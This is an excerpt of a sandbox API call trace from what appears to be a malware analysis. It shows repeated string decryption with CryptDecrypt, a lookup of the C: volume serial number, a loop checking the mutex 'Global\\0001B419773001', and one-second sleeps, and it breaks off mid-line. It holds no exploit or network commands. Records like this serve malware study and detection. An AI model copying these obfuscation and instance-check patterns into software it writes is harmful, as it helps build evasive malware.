[0036.753] GetLastError () returned 0x0 [0036.753] GetLastError () returned 0x0 [0036.753] GetLastError () returned 0x0 [0036.753] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.754] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.755] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.756] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.757] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.758] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.759] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.760] GetLastError () returned 0x0 [0036.761] GetLastError () returned 0x0 [0036.761] GetLastError () returned 0x0 [0036.761] GetLastError () returned 0x0 [0036.761] GetLastError () returned 0x0 [0036.761] GetLastError () returned 0x0 [0036.761] GetLastError () returned 0x0 [0036.761] GetLastError () returned 0x0 [0036.761] GetLastError () returned 0x0 [0036.761] GetLastError () returned 0x0 [0036.761] GetLastError () returned 0x0 [0036.761] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x12) returned 0x29611f8 [0036.761] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x86) returned 0x2969f28 [0036.761] RtlReAllocateHeap (Heap=0x2960000, Flags=0x0, Ptr=0x2969f28, Size=0xa8) returned 0x296b910 [0036.761] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1a) returned 0x2961518 [0036.763] WaitForMultipleObjects (nCount=0x3, lpHandles=0xcff6a8*=0x1f8, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 6 os_tid = 0xf80 Thread: id = 7 os_tid = 0xf68 [0036.663] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2964eb0 [0036.663] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd725f8) returned 1 [0036.663] CryptSetKeyParam (hKey=0xd725f8, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0036.663] CryptDecrypt (in: hKey=0xd725f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2964eb0, pdwDataLen=0x2a6fab0 | out: pbData=0x2964eb0, pdwDataLen=0x2a6fab0) returned 1 [0036.663] CryptDestroyKey (hKey=0xd725f8) returned 1 [0036.663] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x2961410 [0036.663] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x2961438 [0036.663] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x2961460 [0036.663] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd727b8) returned 1 [0036.663] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0036.663] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961460, pdwDataLen=0x2a6fa88 | out: pbData=0x2961460, pdwDataLen=0x2a6fa88) returned 1 [0036.663] CryptDestroyKey (hKey=0xd727b8) returned 1 [0036.663] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961460 | out: hHeap=0x2960000) returned 1 [0036.663] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2961410, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.663] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961438 | out: hHeap=0x2960000) returned 1 [0036.663] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964eb0 | out: hHeap=0x2960000) returned 1 [0036.663] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.664] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961410 | out: hHeap=0x2960000) returned 1 [0036.664] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961410 [0036.664] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd725f8) returned 1 [0036.664] CryptSetKeyParam (hKey=0xd725f8, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0036.664] CryptDecrypt (in: hKey=0xd725f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961410, pdwDataLen=0x2a6fae4 | out: pbData=0x2961410, pdwDataLen=0x2a6fae4) returned 1 [0036.664] CryptDestroyKey (hKey=0xd725f8) returned 1 [0036.664] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x2961458 [0036.664] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x228 [0036.664] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x0) returned 0x102 [0036.664] CloseHandle (hObject=0x228) returned 1 [0036.664] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961410 | out: hHeap=0x2960000) returned 1 [0036.664] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961458 | out: hHeap=0x2960000) returned 1 [0036.664] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2964eb0 [0036.664] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd729b8) returned 1 [0036.664] CryptSetKeyParam (hKey=0xd729b8, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0036.664] CryptDecrypt (in: hKey=0xd729b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2964eb0, pdwDataLen=0x2a6fab0 | out: pbData=0x2964eb0, pdwDataLen=0x2a6fab0) returned 1 [0036.664] CryptDestroyKey (hKey=0xd729b8) returned 1 [0036.664] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x2961410 [0036.664] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x2961438 [0036.664] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x2961460 [0036.664] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd72338) returned 1 [0036.664] CryptSetKeyParam (hKey=0xd72338, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0036.664] CryptDecrypt (in: hKey=0xd72338, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961460, pdwDataLen=0x2a6fa88 | out: pbData=0x2961460, pdwDataLen=0x2a6fa88) returned 1 [0036.664] CryptDestroyKey (hKey=0xd72338) returned 1 [0036.664] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961460 | out: hHeap=0x2960000) returned 1 [0036.664] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2961410, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0036.664] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961438 | out: hHeap=0x2960000) returned 1 [0036.664] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2964eb0 | out: hHeap=0x2960000) returned 1 [0036.664] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0036.665] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961410 | out: hHeap=0x2960000) returned 1 [0036.665] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961410 [0036.665] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd726f8) returned 1 [0036.665] CryptSetKeyParam (hKey=0xd726f8, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0036.665] CryptDecrypt (in: hKey=0xd726f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961410, pdwDataLen=0x2a6fae4 | out: pbData=0x2961410, pdwDataLen=0x2a6fae4) returned 1 [0036.665] CryptDestroyKey (hKey=0xd726f8) returned 1 [0036.665] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x2961458 [0036.665] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x228 [0036.665] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x0) returned 0x102 [0036.665] CloseHandle (hObject=0x228) returned 1 [0036.665] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961410 | out: hHeap=0x2960000) returned 1 [0036.665] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961458 | out: hHeap=0x2960000) returned 1 [0036.665] Sleep (dwMilliseconds=0x3e8) [0037.675] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0037.675] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd727b8) returned 1 [0037.675] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0037.676] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0037.676] CryptDestroyKey (hKey=0xd727b8) returned 1 [0037.676] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0037.676] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0037.676] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0037.676] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd727b8) returned 1 [0037.676] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0037.676] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0037.676] CryptDestroyKey (hKey=0xd727b8) returned 1 [0037.676] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0037.676] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0037.676] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0037.676] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0037.676] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0037.676] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0037.676] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0037.676] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd727b8) returned 1 [0037.676] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0037.676] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0037.676] CryptDestroyKey (hKey=0xd727b8) returned 1 [0037.676] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0037.676] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0 [0037.677] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0037.677] CloseHandle (hObject=0x2c0) returned 1 [0037.677] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0037.677] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0037.677] Sleep (dwMilliseconds=0x3e8) [0038.700] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0038.700] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd727b8) returned 1 [0038.700] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0038.700] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0038.700] CryptDestroyKey (hKey=0xd727b8) returned 1 [0038.700] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0038.700] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0038.700] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0038.700] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd727b8) returned 1 [0038.700] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0038.700] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0038.700] CryptDestroyKey (hKey=0xd727b8) returned 1 [0038.700] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0038.700] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0038.700] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0038.700] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0038.700] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0038.701] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0038.701] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0038.701] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd727b8) returned 1 [0038.701] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0038.701] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0038.701] CryptDestroyKey (hKey=0xd727b8) returned 1 [0038.701] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0038.701] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0 [0038.701] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0038.701] CloseHandle (hObject=0x2c0) returned 1 [0038.701] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0038.701] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0038.701] Sleep (dwMilliseconds=0x3e8) [0039.714] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0039.714] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd727b8) returned 1 [0039.714] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0039.714] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0039.714] CryptDestroyKey (hKey=0xd727b8) returned 1 [0039.714] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0039.714] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0039.714] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0039.714] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd727b8) returned 1 [0039.714] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0039.714] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0039.714] CryptDestroyKey (hKey=0xd727b8) returned 1 [0039.714] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0039.714] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0039.714] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0039.714] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0039.714] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: 